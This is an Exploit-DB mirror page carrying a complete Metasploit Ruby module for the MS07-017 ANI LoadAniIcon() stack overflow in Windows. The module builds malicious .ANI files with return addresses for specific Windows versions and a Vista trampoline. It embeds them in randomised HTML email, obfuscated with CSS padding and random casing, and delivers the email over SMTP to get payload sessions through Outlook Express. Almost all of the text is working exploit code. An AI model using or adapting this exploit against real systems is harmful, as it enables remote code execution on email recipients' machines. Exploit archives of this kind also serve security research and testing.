Microsoft Windows – ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP) (MS07-017) (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16698/
  • ##
    # $Id: ms07_017_ani_loadimage_chunksize.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	#
    	# This module sends email messages via smtp
    	#
    	include Msf::Exploit::Remote::SMTPDeliver
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)',
    			'Description'=> %q{
    				This module exploits a buffer overflow vulnerability in the
    				LoadAniIcon() function of USER32.dll. The flaw is triggered
    				through Outlook Express by using the CURSOR style sheet
    				directive to load a malicious .ANI file.
    
    				This vulnerability was discovered by Alexander Sotirov of Determina
    				and was rediscovered, in the wild, by McAfee.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'hdm', # First version
    					'skape', # Vista support
    				],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					['MSB', 'MS07-017'],
    					['CVE', '2007-0038'],
    					['CVE', '2007-1765'],
    					['OSVDB', '33629'],
    					['BID', '23194'],
    					['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
    					['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],
    					['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
    				],
    			'Stance' => Msf::Exploit::Stance::Passive,
    			'DefaultOptions' =>
    				{
    					# Cause internet explorer to exit after the code hits
    					'EXITFUNC' => 'process',
    				},
    			'Payload'=>
    				{
    					'Space' => 1024 + (rand(1000)),
    					'MinNops' => 32,
    					'Compat'=>
    						{
    							'ConnectionType' => '-bind -find',
    						},
    
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    
    					#
    					# Use multiple cursor URLs to try all targets. This can result in
    					# multiple, sequential sessions
    					#
    
    					[ 'Automatic', {} ],
    
    					#
    					# The following targets use call [ebx+4], just like the original exploit
    					#
    
    					# Partial overwrite doesn't work for Outlook Express
    					[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],
    
    					# Should work for all English XP SP2
    					[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],
    
    					# Supplied by Fabrice MOURRON <fab[at]revhosts.net>
    					[ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }],
    
    					# Should work for English XP SP0/SP1
    					[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],
    
    					# Should work for English 2000 SP0-SP4+
    					[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],
    
    					#
    					# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start
    					# of the RIFF chunk itself.The length field of the RIFF chunk
    					# tag contains a short jump into an embedded riff chunk that
    					# makes a long relative jump into the actual payload.
    					#
    					[ 'Windows Vista user32.dll 6.0.6000.16386',
    						{
    							'Ret' => 0x700b,
    							'Len' => 2,
    
    							# On Vista, the pages that contain the RIFF are read-only.
    							# In-place decoders cannot be used.
    							'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw }
    						}
    					],
    
    					#
    					# Supplied by ramon[at]risesecurity.org
    					#
    
    					# call [ebx+4]
    					[ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }],
    					[ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }],
    					[ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }],
    
    					# call [esi+4]
    					[ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }],
    					[ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }]
    				],
    			'DisclosureDate' => 'Mar 28 2007',
    			'DefaultTarget' => 0))
    
    	end
    
    	def autofilter
    		false
    	end
    
    	def exploit
    
    		exts = ['bmp', 'wav', 'png', 'zip', 'tar']
    
    		gext =exts[rand(exts.length)]
    		name = rand_text_alpha(rand(10)+1) + ".#{gext}"
    
    		anis = {}
    
    		html =
    			"<html><head><title>" +
    				rand_text_alphanumeric(rand(128)+4) +
    			"</title>" +
    			"</head><body>" + rand_text_alphanumeric(rand(128)+1)
    
    
    		mytargs = (target.name =~ /Automatic/) ? targets : [target]
    
    		if target.name =~ /Automatic/
    			targets.each_index { |i|
    				next if not targets[i].ret
    				acid = generate_cid
    				html << generate_div("cid:#{acid}")
    
    				# Re-generate the payload, using the explicit target
    				return if ((p = regenerate_payload(nil, nil, targets[i])) == nil)
    
    				# Generate an ANI file for this target
    				anis[acid] = generate_ani(p, targets[i])
    			}
    		else
    			acid = generate_cid
    			html << generate_div("cid:#{acid}")
    
    			# Re-generate the payload, using the explicit target
    			return if ((p = regenerate_payload(nil, nil, target)) == nil)
    
    			# Generate an ANI file for this target
    			anis[acid] = generate_ani(p, target)
    		end
    
    		html << "</body></html>"
    
    
    		msg = Rex::MIME::Message.new
    		msg.mime_defaults
    		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
    		msg.to = datastore['MAILTO']
    		msg.from = datastore['MAILFROM']
    
    		msg.add_part(Rex::Text.encode_base64(html, "\r\n"), "text/html", "base64", "inline")
    		anis.each_pair do |cid,ani|
    			part = msg.add_part_attachment(ani, cid + "." + gext)
    			part.header.set("Content-ID", "<"+cid+">")
    		end
    
    		send_message(msg.to_s)
    
    		print_status("Waiting for a payload session (backgrounding)...")
    	end
    
    	def generate_cid
    		rand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8)
    	end
    
    	def generate_div(url)
    		"<div style='" +
    			generate_css_padding() +
    			Rex::Text.to_rand_case("cursor") +
    			generate_css_padding() +
    			":" +
    			generate_css_padding() +
    			Rex::Text.to_rand_case("url(") +
    			generate_css_padding() +
    			"\"#{url}\"" +
    			generate_css_padding() +
    			");" +
    			generate_css_padding() +
    			"'>" +
    			generate_padding() +
    		"</div>"
    	end
    
    	def generate_ani(payload, target)
    
    		# Build the first ANI header
    		anih_a = [
    			36,# DWORD cbSizeof
    			rand(128)+16,# DWORD cFrames
    			rand(1024)+1,# DWORD cSteps
    			0, # DWORD cx,cy(reserved - 0)
    			0, # DWORD cBitCount, cPlanes (reserved - 0)
    			0, 0, 0, # JIF jifRate
    			1# DWORD flags
    		].pack('V9')
    
    		anih_b = nil
    
    		if (target.name =~ /Vista/)
    			# Vista has ebp=80, eip=84
    			anih_b = rand_text(84)
    
    			# Patch local variables and loop counters
    			anih_b[68, 12] = [0].pack("V") * 3
    		else
    			# XP/2K has ebp=76 and eip=80
    			anih_b = rand_text(80)
    
    			# Patch local variables and loop counters
    			anih_b[64, 12] = [0].pack("V") * 3
    		end
    
    		# Overwrite the return with address of a "call ptr [ebx+4]"
    		anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]
    
    		# Begin the ANI chunk
    		riff = "ACON"
    
    		# Calculate the data offset for the trampoline chunk and add
    		# the trampoline chunk if we're attacking Vista
    		if target.name =~ /Vista/
    			trampoline_doffset = riff.length + 8
    
    			riff << generate_trampoline_riff_chunk
    		end
    
    		# Insert random RIFF chunks
    		0.upto(rand(128)+16) do |i|
    			riff << generate_riff_chunk()
    		end
    
    		# Embed the first ANI header
    		riff << "anih" + [anih_a.length].pack('V') + anih_a
    
    		# Insert random RIFF chunks
    		0.upto(rand(128)+16) do |i|
    			riff << generate_riff_chunk()
    		end
    
    		# Trigger the return address overwrite
    		riff << "anih" + [anih_b.length].pack('V') + anih_b
    
    		# If this is a Vista target, then we need to align the length of the
    		# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16
    		if target.name =~ /Vista/
    			plen= (riff.length & 0xffff0000) | 0x0eeb
    			plen += 0x10000 if (plen - 8) < riff.length
    
    			riff << generate_riff_chunk((plen - 8) - riff.length)
    
    			# Replace the operand to the relative jump to point into the actual
    			# payload itself which comes after the riff chunk
    			riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')
    		end
    
    		# Place the RIFF chunk in front and off we go
    		ret = "RIFF" + [riff.length].pack('V') + riff
    
    		# We copy the encoded payload to the stack because sometimes the RIFF
    		# image is mapped in read-only pages.This would prevent in-place
    		# decoders from working, and we can't have that.
    		ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length)
    
    		# Place the real payload right after it.
    		ret << payload.encoded
    
    		ret
    
    	end
    
    	# Generates a riff chunk with the first bytes of the data being a relative
    	# jump.This is used to bounce to the actual payload
    	def generate_trampoline_riff_chunk
    		tag = Rex::Text.to_rand_case(rand_text_alpha(4))
    		dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
    		tag +	[dat.length].pack('V') + dat
    	end
    
    	def generate_riff_chunk(len = (rand(256)+1) * 2)
    		tag = Rex::Text.to_rand_case(rand_text_alpha(4))
    		dat = rand_text(len)
    		tag + [dat.length].pack('V') + dat
    	end
    
    	def generate_css_padding
    		buf =
    			generate_whitespace() +
    			"/*" +
    			generate_whitespace() +
    			generate_padding() +
    			generate_whitespace() +
    			"*/" +
    			generate_whitespace()
    	end
    
    	def generate_whitespace
    		len = rand(100)+2
    		set = "\x09\x20\x0d\x0a"
    		buf = ''
    
    		while (buf.length < len)
    			buf << set[rand(set.length)].chr
    		end
    		buf
    	end
    
    	def generate_padding
    		rand_text_alphanumeric(rand(128)+4)
    	end
    
    end